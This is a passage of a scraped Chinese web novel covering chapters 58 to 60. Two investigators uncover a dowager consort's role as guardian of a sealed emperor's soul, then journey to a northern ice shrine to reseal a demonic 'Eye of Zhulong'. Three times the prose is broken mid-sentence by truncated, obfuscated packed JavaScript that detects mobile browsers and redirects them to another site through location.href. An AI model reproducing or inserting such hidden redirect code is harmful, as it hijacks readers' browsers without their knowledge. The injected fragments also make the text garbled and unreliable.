“娘娘？哪个娘娘？” “还能有谁……”老太监的眼神变得惊恐，“那位娘娘啊……她不是人……是鬼……是从地底下爬出来的鬼……” 他忽然抓住江清砚的手，力气大得惊人:“年轻人，听老奴一句劝，离那位娘娘远点……她会吃人的……吃了好多人了……老曹就是被她吃了……” “她怎么吃人的？”江清砚追问。 “每月十五……月圆的时候……”老太监的声音颤抖，“她会去一个地方……带着活人……去了就回不来了……老曹就是去得太多了……被盯上了……” 每月十五，又是月圆之夜。 “那个地方在哪？” “不知道……老奴不知道……”老太监松开手，又蜷缩回去，“老奴只知道……那里有眼睛……好多眼睛……看着你……看着你……” 他越说越混乱，最后开始胡言乱语，显然是神智不清了。 江清砚知道问不出更多，起身准备离开。但就在转身的瞬间，他瞥见老太监破烂的衣袖下，露出的手腕上有一个刺青——一只眼睛的图案！ 和“烛龙之眼”的图腾一模一样！ 这个老太监，也是“烛龙之眼”的人？或者说……曾经是？ 江清砚的心跳加速。但他没有声张，只是对王书吏道:“走吧。” 离开冷宫的路上，王书吏小心翼翼地问:“江郎中，李公公的话……可信吗？” “半真半假，”江清砚说，“但至少证实了一件事——太后确实有问题。” 两人刚走出冷宫区域，迎面走来一队人。为首的是一顶软轿，轿帘低垂，看不清里面的人。但轿旁随行的宫女太监气度不凡，显然轿中人的身份不一般。 王书吏连忙拉着江清砚退到路边，躬身行礼。 软轿经过时，轿帘被风吹起一角。江清砚抬头，正好看到轿中人的侧脸—— 那是一个年约五十的妇人，容貌端庄，眉宇间有股不怒自威的气势。但让江清砚心惊的是，她的眼睛——那双眼睛的瞳孔深处，似乎有极细微的暗红色纹路，如同燃烧的火焰。 妇人似乎察觉到了什么，转头看向江清砚。 四目相对的瞬间，江清砚感到一股寒意从脊背升起。那不是普通的目光，而是一种仿佛能穿透灵魂的审视，冰冷、锐利，如同毒蛇的信子。 仅仅一瞬，轿帘又落下了。软轿继续前行，很快消失在宫道尽头。 “那是……太妃娘娘，”王书吏的声音有些发抖，“是永昌帝的妃子，先帝在位时封的静太妃。先帝驾崩后，她就一直在深宫静修，很少出来。” 永昌帝的妃子？ 江清砚的心沉了下去。如果这个静太妃是永昌帝的妃子，那她很可能知道永昌帝魂魄被封的事，甚至可能……参与了当年的封魂术。 而且她眼中的那些暗红色纹路，和“烛龙之眼”信众眼睛发红的情况很像，只是更隐晦。 难道她也是“烛龙之眼”的人？ “王书吏，你对这位静太妃了解多少？”江清砚问。 “了解不多，”王书吏摇头，“静太妃深居简出，除了必要的礼仪场合，几乎不出宫门。但宫里有人说，她和太后……关系微妙。” “微妙？” “太后是永昌帝的孙女，静太妃是永昌帝的妃子，按辈分，静太妃是太后的祖母辈，”王书吏压低声音，“但太后掌权后，对这位太妃并不亲近，甚至有些……忌讳。” 忌讳？为什么？ 江清砚脑中飞快运转。如果静太妃知道永昌帝魂魄被封的真相，甚至可能掌握着某些太后不知道的秘密，那太后忌讳她就说得通了。 也许，静太妃不是太后的同谋，而是……另一个势力？ 回到刑部，江清砚立刻将今日的发现告诉了谢云辞。 “静太妃……”谢云辞沉吟，“我在宫中多年，也听说过这位太妃，但从未见过。她确实深居简出，连每年的宫宴都称病不出。” “但今天她出来了，”江清砚道，“而且特意路过冷宫区域，像是在……观察什么。” “你觉得她是故意让你看见的？” “有可能，”江清砚分析，“她那样的身份，出行路线都是固定的，不会无缘无故经过冷宫。而且我和她对视时，她眼中的神色……像是在确认什么。” 确认江清砚的身份？确认他是否知道些什么？ “如果她真的和‘烛龙之眼’有关，那她现在现身，可能意味着……”谢云辞眼中闪过锐利，“太后失势，她要出来收拾残局了。” 两人对视，都明白了事情的严重性。 一个太后已经够棘手了，如果再添一个静太妃，而且可能是更深藏不露的对手，那局势就更加复杂了。 “陛下知道静太妃的事吗？”江清砚问。 “应该知道，但陛下从未提过，”谢云辞道，“可能陛下也有所顾虑。毕竟静太妃是先帝封的，辈分高，没有确凿证据，不好动她。” “那我们……” “暗中调查，”谢云辞决定，“但要比查太后时更小心。这位静太妃隐藏了这么多年，心机绝对不浅。” 接下来的几天，风平浪静。 太后“养病”，闭门不出;静太妃又回到了深宫，再无动静;朝中那些依附太后的官员，也都老实了许多，不敢妄动。 但江清砚和谢云辞知道，这只是暴风雨前的宁静。 九月二十六，周尚书传来消息:工部那个侍郎招了。 在确凿的证据面前，工部侍郎终于松口，承认当年太液池疏浚工程中，他收了曹太监的贿赂，虚报了工程量。多出的款项，确实流向了“福源商行”，用于六处寺庙的扩建。 但他只知道这些，不知道背后的阵法，也不知道太后的真实目的。 “他可能真的不知道更深的内情，”周尚书对江清砚说，“但有了他的口供，我们可以顺藤摸瓜，查‘福源商行’的账目，查出更多的涉案人员。” “需要多久？” “快则十天，慢则一个月，”周尚书道，“太后那边的势力在阻挠，查起来很困难。但陛下已经下旨，要求彻查，他们也不敢太明目张胆。” 有了陛下的支持，事情就好办多了。 九月二十八，又一个消息传来:静太妃要去皇家寺庙“大相国寺”祈福，为太后“病体安康”诵经三日。 这个消息在宫里传开，许多人都称赞静太妃仁慈大度，不计前嫌为太后祈福。但江清砚和谢云辞却嗅到了不寻常的味道。 “这个时候去祈福？”谢云辞皱眉，“太刻意了。” “大相国寺……”江清砚想起什么，“那六处寺庙中，不包括大相国寺吧？” “不包括，大相国寺是皇家寺庙，由内务府直接管理，不归工部管，”谢云辞忽然想到什么，“等等，我查一下。” 他调来内务府的记录，果然发现:大相国寺在五年前进行过一次大规模的修缮，耗资巨大，但工程记录很简略，而且……负责监工的太监，正是曹太监！ “果然，”谢云辞眼神冰冷，“大相国寺很可能也是‘烛龙之眼’的据点，而且可能是更重要的据点。静太妃这次去，绝不是简单的祈福。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863534|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我们要去吗？”江清砚问。 “去，但不能以官方的身份，”谢云辞道，“大相国寺在城郊，香客众多，我们可以扮作香客混进去。但静太妃身边肯定有高手护卫，我们必须小心。” 两人商量后决定，九月三十日，静太妃祈福的第二天，去大相国寺查探。 九月三十，秋高气爽。 大相国寺香火鼎盛，来往香客络绎不绝。江清砚和谢云辞扮作寻常香客，随着人流进入寺内。 寺内果然戒备森严，随处可见便装侍卫，眼神锐利，扫视着每一个香客。静太妃在后殿诵经，那里已经清场，普通香客不得进入。 两人在大殿上了香，捐了香油钱，然后装作随意游览的样子，在寺内走动。 江清砚注意到，大相国寺的建筑布局很奇特——不是传统的对称结构，而是呈螺旋状向中心汇聚。中心是一座九层佛塔，塔尖直指苍穹。 “这个布局……”他低声对谢云辞说，“像是一个巨大的聚灵阵。” 聚灵阵，顾名思义，是聚集天地灵气的阵法。但聚集灵气做什么？ 两人绕着佛塔走了一圈，发现塔基的每一面都刻着不同的符文，有些符文和太液池底那些巨石上的很像。 “看来这里确实是重要据点，”谢云辞道，“但静太妃在这里，我们没法深入调查。” 就在他们准备离开时，一个中年和尚走了过来，双手合十:“两位施主，住持有请。” 住持？ 江清砚和谢云辞对视一眼，都看到了彼此眼中的警惕。 “不知住持找我们何事？”谢云辞问。 “住持说，两位与佛有缘，想请两位喝杯茶，”和尚神色平静，“请随我来。” 两人犹豫了一下，最终还是跟了上去。大庭广众之下，对方应该不敢乱来。 和尚引着他们穿过几重殿宇，来到一处僻静的禅院。禅院里，一个白眉老僧正在煮茶，见他们进来，微微一笑:“两位施主，请坐。” 江清砚和谢云辞在蒲团上坐下，警惕地观察着四周。 “老衲慧明，是本寺住持，”老僧为他们倒茶，“两位不必紧张，老衲请两位来，是想告诉两位一些事。” “什么事？”谢云辞问。 “关于静太妃，也关于……‘烛龙之眼’，”慧明住持缓缓道，“静太妃确实与‘烛龙之眼’有关，但她与太后，不是一路人。” 果然如此。 “那她是什么人？”江清砚问。 “她是……守阵人，”慧明的眼中闪过一丝悲悯，“五十年前，永昌帝魂魄被封，布下六芒星阵镇压。但阵法需要有人维持，于是选了六个人，分别镇守六个节点。静太妃，就是镇守大相国寺节点的人。” 守阵人？ “那她现在……” “她快撑不住了，”慧明叹息，“守阵人需要以自身精血维持阵法，五十年来，静太妃的精血已经耗得差不多了。所以太后才能逐渐侵蚀阵法，试图解开封印。” 原来如此。静太妃不是敌人，而是……同道？ “她为什么要帮永昌帝守阵？”谢云辞不解，“永昌帝不是暴君吗？” 慧明沉默良久，才道:“因为爱。静太妃深爱永昌帝，即使知道他是错的，即使知道他已经不是人，还是愿意用一生去守护他。这五十年来，她承受的痛苦，外人无法想象。” 江清砚心中震动。五十年的守护，五十年的煎熬，只是为了一个早已逝去的、甚至可能已经变成怪物的人…… “那她现在去祈福，是……” “她想在最后时刻，见一见永昌帝，”慧明道，“她知道封印已经加固，永昌帝的魂魄很快就会彻底消散。所以想在他消散前，见他最后一面。” “在哪里见？”江清砚问。 慧明看向窗外的九层佛塔:“塔下。那里，是阵法的核心，也是永昌帝魂魄最集中的地方。” 谢云辞和江清砚对视一眼，都看到了彼此眼中的决定。 “我们要去塔下，”谢云辞道，“不是阻止她，而是……确保不会出意外。” 慧明看着他们，眼中闪过一丝赞许:“老衲就知道，两位会这么说。但塔下有阵法守护，外人进不去。除非……” “除非什么？” “除非有江家的青木玉佩，和谢家的玄铁兵符，”慧明道，“那是当年布阵时留下的钥匙，只有两把钥匙合在一起，才能打开塔下的门。” 又是钥匙…… 江清砚取出青木玉佩，谢云辞则摇头:“谢家的兵符，我们还没找到。” “不，你们已经找到了，”慧明看着江清砚，“那把匕首，就是兵符的一部分。谢家的兵符一分为二，一半在谢将军手中，另一半……就在那把匕首上。” 江清砚立刻取出从永昌帝骸骨上拔出的匕首。慧明接过，仔细端详，然后点头:“没错，就是它。现在，两把钥匙都齐了。” “但我们怎么进去？静太妃肯定在塔下。” “老衲可以带你们去，但只能送到门口，”慧明道，“至于进去之后会发生什么，就看你们的造化了。” “有劳住持。” 夜幕降临，大相国寺的香客渐渐散去。 慧明住持带着两人，悄悄来到佛塔下。塔基有一道暗门，门上两个凹槽，正是玉佩和匕首的形状。 江清砚将玉佩放入左侧凹槽，谢云辞将匕首放入右侧凹槽。门悄无声息地滑开，露出向下的石阶。 “去吧，”慧明合十，“愿佛祖保佑你们。” 两人深吸一口气，踏入了黑暗。 塔下，等待他们的，会是什么？ 59. 第 59 章 第五十九章新的序章 石阶蜿蜒向下，深不见底。 江清砚和谢云辞并肩而行，手中夜明珠的光芒勉强照亮前方几步。空气中弥漫着一股陈腐的香灰味，混合着某种奇异的腥甜气息，令人不安。 走了约莫五十级台阶，前方豁然开朗——是一个巨大的地下殿堂，比清风观的地宫更加宏伟。殿堂呈圆形，穹顶高约三丈，上面绘着日月星辰的图案，在夜明珠的照耀下泛着幽暗的光。 殿堂中央，一座石台高高耸立。台上一具水晶棺椁，棺中躺着一个身着前朝龙袍的男子——正是永昌帝。但与太液池底那具骸骨不同，这里的永昌帝面色红润，如同沉睡，若非胸膛没有起伏，几乎要以为他还活着。 而水晶棺旁，静太妃跪坐着，双手合十，闭目诵经。听到脚步声，她缓缓睁开眼，看向两人。 那双眼睛已经恢复正常，没有了白日里看到的暗红色纹路，只剩下岁月沉淀的平静与沧桑。 “你们来了，”静太妃的声音很轻，带着一种奇异的空灵，“慧明应该都告诉你们了。” “太妃娘娘，”江清砚和谢云辞行礼，“我们来，是想……” “我知道，”静太妃打断他们，目光落在永昌帝的面容上，“你们想确认他是否真的会消散，想确保我不会做出疯狂的事，对吗？” 两人沉默，算是默认。 静太妃轻轻笑了，笑容里满是苦涩:“放心，我已经没有力气做任何事了。五十年的守阵，早已耗尽了我的心力。今天来，只是想……陪他最后一程。” 她伸手，隔着水晶棺抚摸永昌帝的脸颊，动作温柔如同对待最珍贵的宝物:“他曾经是个好皇帝，勤政爱民，心怀天下。但后来……他被‘烛龙教’蛊惑，走上了歧路。我劝过他，但他听不进去。” “太妃娘娘知道封魂术的真相？”江清砚问。 “知道，”静太妃点头，“但我阻止不了。‘烛龙教’的势力太大，连皇帝都能操控。我只能眼睁睁看着他一步步走向深渊，最后……变成了这样。” 她的眼中泛起泪光:“封魂术需要活人献祭，八个童男童女的心头血。我亲眼看着那些孩子被带上祭坛，却无能为力。从那天起，我就知道，我和他，都回不去了。” 谢云辞看着她:“那太妃为什么还要守阵五十年？” “因为愧疚，”静太妃闭上眼，“对那些枉死的孩子愧疚，对天下苍生愧疚。布下六芒星阵镇压他的魂魄，是当时唯一能做的。而我，自愿成为守阵人，用余生来赎罪。” 五十年……江清砚难以想象这是怎样的煎熬。 “太后知道这些吗？”他问。 “她只知道一部分，”静太妃睁开眼，“她以为封魂术能让永昌帝复活，能让她复辟前朝。但她不知道，永昌帝的魂魄早就被‘圣眼’侵蚀，变成了怪物。即使真的‘复活’，也不会是她想要的祖父，而是一个只知杀戮的恶鬼。” 所以太后和静太妃，虽然都与“烛龙之眼”有关，但目的完全不同——一个想解开封印，一个想维持封印。 “但现在封印已经加固，‘圣眼’也毁了，”谢云辞道，“永昌帝的魂魄会怎样？” “会逐渐消散，”静太妃看向水晶棺，“其实从你们毁掉‘圣眼’的那一刻起，他就开始消散了。最多再过三天，就会彻底消失，连一点痕迹都不留。” 三天…… “那太妃您……” “我会陪他到最后，”静太妃的语气很平静，“然后，我也会随他而去。这五十年的债，该还清了。” 江清砚心中涌起一股复杂的情绪。眼前这个女子，为了一个错误的爱情，为了赎罪，付出了整整一生。可恨，可怜，也可敬。 “太妃，您可知‘烛龙眠息之地’？”他忽然问。 静太妃的身体微微一震，看向他:“你们……在找那个地方？” “对，”江清砚点头，“江家和谢家，世代守护那里。但我们不知道具体位置。” 静太妃沉默良久，才缓缓道:“我知道在哪。因为永昌帝当年，也试图打开那里。” 她从袖中取出一卷帛书，递给江清砚:“这是前朝皇室秘藏的图卷，标注了‘烛龙眠息之地’的入口。永昌帝为了得到它，杀了三百多人。后来我偷了出来，一直藏在身边。” 江清砚接过帛书，展开。上面是一幅复杂的地图，山川河流标注得极其详细，中心处画着一只巨大的眼睛，眼睛下方写着两个字:“龙眠”。 位置在……北境死亡峡谷深处！ 和谢云辞父亲留下的线索吻合。 “那里封印的，是什么？”谢云辞问。 静太妃摇头:“我不知道。永昌帝也不知道。他只知道，那里有‘足以倾覆人间的力量’，得到它，就能成为天下之主。但江谢两家世代守护，宁死不交钥匙，所以他始终未能得逞。” 她顿了顿，补充道:“但我听过一个传说……‘烛龙眠息之地’，封印的不是宝物，也不是力量，而是……罪。” “罪？” “上古时期，有神龙犯下大罪，被镇压在此，”静太妃的声音变得缥缈，“它的眼睛化为‘烛龙之眼’，蛊惑人间；它的身躯化为山川，镇压地底。江谢两家，就是当年镇压神龙的两位神将的后裔，世代守护封印，防止神龙苏醒。” 神龙……江清砚和谢云辞对视一眼，都看到了彼此眼中的震惊。 如果传说是真的，那“烛龙之眼”这个组织崇拜的，竟然是被镇压的罪龙？ “所以太后想打开‘烛龙眠息之地’，是为了……”江清砚问。 “可能是被蛊惑，以为能获得力量，”静太妃叹息，“也可能是……她体内流着前朝皇室的血，被‘烛龙之眼’选中，成为了新的‘容器’。” 容器？什么容器？ 静太妃没有解释，她的目光重新回到永昌帝身上:“我的时间不多了。最后，我想请你们帮个忙。” “太妃请说。” “等我死后，将我和他合葬，”静太妃的声音越来越轻，“不用立碑，不用祭奠，就让我们在黑暗中，永远沉睡。这是我……最后的愿望。” 江清砚看着这个为情所困、为罪所苦的女子，最终点头:“我们答应您。” “谢谢……”静太妃闭上眼睛，脸上露出解脱的笑容。 她的呼吸渐渐微弱，最终停止。身体靠着水晶棺，如同睡着了一般，安详而平静。 江清砚探了探她的脉搏，确认已经离世。 “她走了。”他轻声说。 谢云辞看着相倚而去的两人，心中五味杂陈。爱恨情仇，是非对错，在这一刻都化为尘土。五十年守阵，五十年煎熬，终于走到了尽头。 “我们走吧，”他握住江清砚的手，“让他们安静地离开。” 两人退出地下殿堂，重新关上暗门。回到地面时，慧明住持还在等他们。 “静太妃她……” “圆寂了，”江清砚合十行礼，“住持，按照太妃的遗愿，请将她与永昌帝合葬。” 慧明点头:“老衲明白。这件事，就交给老衲吧。” “有劳住持。” 离开大相国寺时，已是深夜。秋月高悬，清辉如霜。 两人走在回城的路上，谁也没有说话，心中都还沉浸在刚才的震撼中。 “清砚，”谢云辞忽然开口，“如果‘烛龙眠息之地’真的封印着罪龙，那我们要怎么办？” 江清砚看着手中的帛书，沉默良久，才道:“继续守护。这是江谢两家的使命，也是我们的责任。” “但对方是神龙……” “那又如何？”江清砚转头看他，眼中映着月光，“我们是人，但人有人的坚守，有人的勇气。先祖能做到的事，我们也能。” 谢云辞看着他那双清澈而坚定的眼睛，心中的疑虑渐渐消散。是啊，既然选择了这条路， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863535|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就要走下去，无论面对什么。 “好，那我们就一起去，”他握住江清砚的手，“去北境，去死亡峡谷，找到‘烛龙眠息之地’，完成我们的使命。” “嗯，一起去。” 月光下，两人的身影被拉得很长，交织在一起。 回到谢府时，天已快亮了。 书房内，两人摊开那卷帛书，仔细研究地图。死亡峡谷在北境极寒之地，常年冰雪覆盖，地形险峻，而且有各种诡异的传说，寻常人根本不敢靠近。 “我们需要准备很多东西，”谢云辞道，“御寒的衣物、干粮、武器，还有……向导。死亡峡谷太大，没有向导，我们可能会迷路。” “向导我来找，”江清砚说，“金掌柜在北方有些关系，可以帮忙。” “好。那我负责准备物资和武器。” 两人分工合作，开始为北境之行做准备。这一去，不知要多久，也不知会遇到什么危险，必须做好万全准备。 接下来的几天，京城风平浪静。 太后“病”了，静太妃“圆寂”了，朝中那些不安分的势力也都暂时蛰伏。陛下趁机整顿朝纲，清理了一批太后安插的官员，朝局为之一清。 而江清砚和谢云辞，则悄悄做着北行的准备。 十月初三，一切准备就绪。 这天傍晚，两人在书房做最后的检查。地图、物资、武器、药物，都打包好了。明天一早，他们就出发。 “清砚，”谢云辞忽然道，“这一去，可能再也回不来了。你后悔吗？” 江清砚摇头:“不后悔。能和一起，去哪里都不后悔。” 谢云辞的心像是被什么填满了，温暖而充实。他走到江清砚身边，将他拥入怀中:“我也是。只要能和你在一起，刀山火海，也不怕。” 两人相拥，谁也没有说话，只有心跳声在寂静中清晰可闻。 窗外，秋风萧瑟，落叶纷飞。 但屋内，暖意融融。 前路虽险，但并肩同行，便无所畏惧。 次日清晨，天还未亮，两人便悄悄离开了谢府。 城门口，金掌柜已经等在那里，身边还有一个精悍的中年汉子，皮肤黝黑，眼神锐利，一看就是常年在野外行走的人。 “江公子，谢大人，这位是胡老三，北境的猎户，对死亡峡谷很熟，”金掌柜介绍，“他会带你们进山。” 胡老三抱拳行礼，声音粗犷:“两位大人放心，胡某在北境活了四十年，闭着眼睛都能走出死亡峡谷。” “有劳胡大哥。”江清砚还礼。 马车已经备好，四人上了车，朝着北城门驶去。 出城时，江清砚掀开车帘，回望了一眼京城。巍峨的城墙在晨雾中若隐若现，如同沉睡的巨兽。 他在这里经历了太多:从破庙初遇，到金殿昭雪;从蒙冤入狱，到并肩查案;从生死相托，到心意相通……这座城，见证了他和谢云辞的相遇、相知、相爱。 如今，他们要离开了，去往更遥远、更危险的地方。 但江清砚的心中，没有畏惧，只有坚定。 因为他不是一个人。 “在看什么？”谢云辞问。 “看京城，”江清砚放下车帘，“看我们开始的地方。” 谢云辞握住他的手:“等事情了结，我们还会回来的。” “嗯，还会回来的。” 马车驶出城门，朝着北方，渐行渐远。 晨光中，他们的身影消失在官道的尽头。 新的征程，开始了。 而远方，北境的雪山在阳光下闪耀，如同沉默的守护者，等待着他们的到来。 那里，有他们的使命，有他们的宿命，也有……他们的未来。 无论前路如何，他们都将一起面对。 因为，他们是彼此的光，是彼此的依靠，是彼此……生命中最重要的人。 这就够了。 60. 第 60 章 第六十章尾声：宫墙影 京城，慈宁宫。 秋风卷起落叶，在寂静的宫院内打着旋儿。曾经人来人往的慈宁宫，如今门可罗雀。太后“病”了月余，不见任何人，连最亲近的宫女太监都被遣散了。 寝殿内，帷幕低垂。 太后倚在凤榻上，面色灰败，眼窝深陷，短短月余，竟像是老了二十岁。她手中握着一枚碎裂的玉佩——那是“圣眼”的一部分，如今已经彻底失去光泽，变成普通的石块。 “娘娘，药来了。”一个老宫女端着药碗，小心翼翼地走进来。 太后没有接药，只是盯着手中的碎玉，喃喃自语:“没了……都没了……五十年的谋划，一朝尽毁……” “娘娘，您先喝药吧，”老宫女劝道，“留得青山在，不怕没柴烧。” “青山？”太后冷笑，“我的青山早就烧光了。静太妃死了，曹太监死了，圣眼毁了，连永昌帝的魂魄都散了……我还有什么？” 她忽然剧烈咳嗽起来，咳出一口黑血，溅在锦被上，触目惊心。 老宫女吓得跪倒在地:“娘娘！太医！快传太医！” “不必了，”太后摆手，声音嘶哑，“我这是遭了反噬，活不久了。只是……我不甘心啊……” 她的眼中闪过怨毒的光芒:“江清砚，谢云辞……都是他们！若不是他们，我的计划早就成功了！三皇子早就该登基了！前朝就该复辟了！” “娘娘……”老宫女泣不成声。 太后深吸一口气，强行压下咳嗽，从枕下摸出一封密信:“这个，送出去。给……那个人。” “娘娘，您这是……” “既然我失败了，那就让所有人都不得安宁，”太后的脸上露出诡异的笑容，“‘烛龙之眼’的传承不能断。那个人……会替我完成未竟之事。” 老宫女颤抖着接过密信，看到信封上的标记时，脸色骤变——那是一只燃烧的眼睛，瞳孔处写着一个字:“影”。 龙影卫？！ “娘娘，这……” “去吧，”太后闭上眼睛，“这是我最后的命令。” 老宫女咬牙，将密信藏入怀中，磕了个头，匆匆离去。 寝殿内重归寂静。太后躺在榻上，看着殿顶的雕花，眼中渐渐失去神采。 她想起很多年前，自己还是赵家小姐的时候。那时家族已经没落，但她心高气傲，发誓要重振赵家荣光。后来入宫为妃，一步步爬上来，用尽了手段，终于成了太后。 可是还不够。她要的不仅仅是太后的尊荣，她要的是皇位，是让赵家的血脉重新坐上龙椅。 所以她和“烛龙之眼”合作，试图解开永昌帝的封印，让三皇子成为新的“容器”。她以为一切都在掌控之中…… “错了……都错了……”太后喃喃道，眼角滑下一滴泪，“从一开始……就错了……” 她的呼吸渐渐微弱，最终停止。 秋风从窗外吹进，拂动帷幕，如同送别的挽歌。 而此刻，千里之外的北境。 风雪漫天。 江清砚和谢云辞在胡老三的带领下，艰难地行走在死亡峡谷中。这里常年冰雪覆盖，寒风如刀，刮在脸上生疼。即使穿着厚厚的皮袄，依然能感觉到刺骨的寒意。 “两位大人，前面就是‘一线天’了，”胡老三指着前方两座高耸的冰山之间的狭窄通道，“穿过那里，就是峡谷深处。但那里……很邪门。” “怎么个邪门法？”谢云辞问。 “进去的人，很少有出来的，”胡老三的声音有些发颤，“就算出来，也多半疯了，说什么看到了‘眼睛’，听到了‘龙吟’。我们猎户都绕着那里走，从不敢靠近。” 眼睛，龙吟……和“烛龙之眼”的描述吻合。 江清砚和谢云辞对视一眼，都看到了彼此眼中的坚定。 “胡大哥，你送到这里就可以了，”谢云辞道，“剩下的路，我们自己走。” 胡老三一愣:“这……这怎么行？里面太危险了！” “正因为危险，才不能连累你，”江清砚从怀中取出一袋银子，“这些银子你拿着，回去吧。如果我们能出来，再好好谢你。” 胡老三看着那袋银子，又看看两人坚定的眼神，最终叹了口气:“那……两位大人保重。胡某在谷外等你们三天，三天后若不见你们出来，胡某就……回去报信。” “好，谢谢胡大哥。” 送走胡老三，两人站在一线天的入口，望着里面深不见底的黑暗。 “准备好了吗？”谢云辞问。 “嗯。”江清砚点头。 两人迈步走入通道。 通道很窄，仅容一人通过。两侧是光滑的冰壁，上面结着厚厚的霜，在夜明珠的光芒下泛着幽蓝的光。头顶是一线天空，但被风雪遮蔽，只能看到灰蒙蒙的一片。 走了约莫一里路，前方豁然开朗——是一个巨大的冰谷。 冰谷中央，有一座完全由冰晶构成的宫殿，巍峨壮观，美得不似人间造物。宫殿的大门敞开着，里面漆黑一片，如同巨兽的嘴巴，等待着吞噬进入者。 “就是这里了，”江清砚看着手中的帛书，又看看眼前的宫殿，“‘烛龙眠息之地’。” 两人走到宫殿门前，仰望着那高达三丈的冰晶大门。门上雕刻着一条盘旋的巨龙，龙眼处是两个凹槽，形状和青木玉佩、玄铁匕首一模一样。 江清砚取出玉佩，谢云辞取出匕首，同时放入凹槽。 冰晶大门缓缓开启，发出沉闷的轰鸣声，仿佛沉睡了千年的巨兽正在苏醒。 门内是一条长长的冰晶廊道，两侧立着冰雕的卫士，手持长矛，栩栩如生。廊道的尽头，是一扇更大的门。 两人警惕地走进去。脚下的冰面光滑如镜，倒映着他们的身影。四周寂静无声，只有他们的脚步声在回荡。 走到廊道尽头，推开第二扇门。 门内是一个巨大的冰晶殿堂。殿堂中央，是一个冰封的祭坛。祭坛上，悬浮着一颗巨大的眼睛——不是石雕，不是宝石，而是一只真正的、活生生的眼睛！ 那只眼睛足有磨盘大小，瞳孔是燃烧的火焰，眼白布满了血丝。它缓缓转动，最终聚焦在江清砚和谢云辞身上。 “终于来了……” 一个古老、嘶哑、仿佛来自远古的声音在殿堂中回荡，不是从耳朵听到，而是直接响在脑海里。 “江家的血脉，谢家的血脉……我等了你们……五百年……” 江清砚握紧谢云辞的手，强压下心中的恐惧:“你就是……烛龙？” “烛龙？”那声音笑了，笑声如同冰层破裂，“不，我不是烛龙。我是烛龙的……眼睛。它的本体被镇压在更深的地方，而我，是它留在人间的……投影。” 眼睛的投影？ “你们江谢两家，世代守护的，就是镇压烛龙的封印，”那声音继续道，“但封印已经开始松动了。太后那个蠢女人，以为能利用我的力量，却不知道她只是我的一颗棋子。现在她死了，但没关系……还有你们。” 它的瞳孔中，火焰燃烧得更加旺盛:“你们的血脉，比太后纯净得多。用你们的血，可以彻底解开封印，让烛龙……重临人间！” 话音刚落，殿堂四周的冰壁突然裂开，从中爬出无数冰晶构成的怪物——人形，但关节扭曲，面容狰狞，如同从噩梦中走出的恶鬼。 它们无声地嘶吼着，扑向两人！ 谢云辞拔刀迎战，江清砚则迅速撒出药粉。但冰晶怪物不怕毒，药粉对它们毫无作用。 “没用的，”那声音嘲笑道，“它们是冰之傀儡，没有生命，不怕毒，不怕痛。你们唯一的生路，就是献出你们的血，解开封印。” 更多的冰晶怪物涌出，密密麻麻，如同潮水。谢云辞虽然勇猛，但双拳难敌四手，很快就被逼得节节败退。 江清砚看着那只巨大的眼睛，脑中飞快运转。封印……镇压……需要江谢两家的血脉…… 他忽然想起静太妃的话:“江家的青木生机，谢家的玄铁兵符，不仅是钥匙，也是封印的一部分。” 既然是封印的一部分，那应该能克制这只眼睛！ 他看向谢云辞，两人目光交汇，瞬间明白了彼此的想法。 “云辞，掩护我！”江清砚喊道，同时咬破手指，在青木玉佩上画下一个血符。 谢云辞一刀砍翻两个冰晶怪物，退到他身边，也将血抹在匕首上。 “以我之血，唤先祖之灵——”江清砚高举玉佩，“青木生机，镇邪破妄！” “谢家血脉，守正诛邪——”谢云辞同时举起匕首，“玄铁兵符，斩妖除魔！” 两人的血滴落在冰面上，瞬间被吸收。紧接着，整个殿堂剧烈震动起来！ 冰壁上浮现出金色的符文，那些符文如同活过来一般，从冰壁上脱离，在空中交织成一张巨大的网，朝着那只眼睛罩去！ “不——！”眼睛发出惊恐的嘶吼，“你们怎么知道封印的咒文？！” 江清砚没有回答。其实他们不知道咒文，只是凭直觉，将血脉之力与守护的信念结合在一起。但显然，他们做对了。 金色的大网罩住眼睛，开始收缩。眼睛拼命挣扎，但无济于事。它的光芒逐渐暗淡，最终，完全被金网包裹，化为一颗黑色的珠子，落在地上。 而那些冰晶怪物，也在眼睛被封印的瞬间，全部崩解，化为冰屑。 殿堂恢复了平静。 江清砚捡起那颗黑色珠子，入手冰凉，但能感觉到里面还残留着一丝邪恶的气息。 “结束了吗？”谢云辞喘着气问。 “暂时结束了，”江清砚看着珠子，“但烛龙的本体还在更深的地方。这颗眼睛，只是它的一小部分。” “那我们要……” “加固封印，”江清砚看向祭坛，“用我们的血，加上这颗珠子，应该能让封印再维持百年。” 百年……足够后人想办法了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863536|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 两人走到祭坛前，将珠子和玉佩、匕首一起放在祭坛中心。然后同时划破手掌，让血滴落在祭坛上。 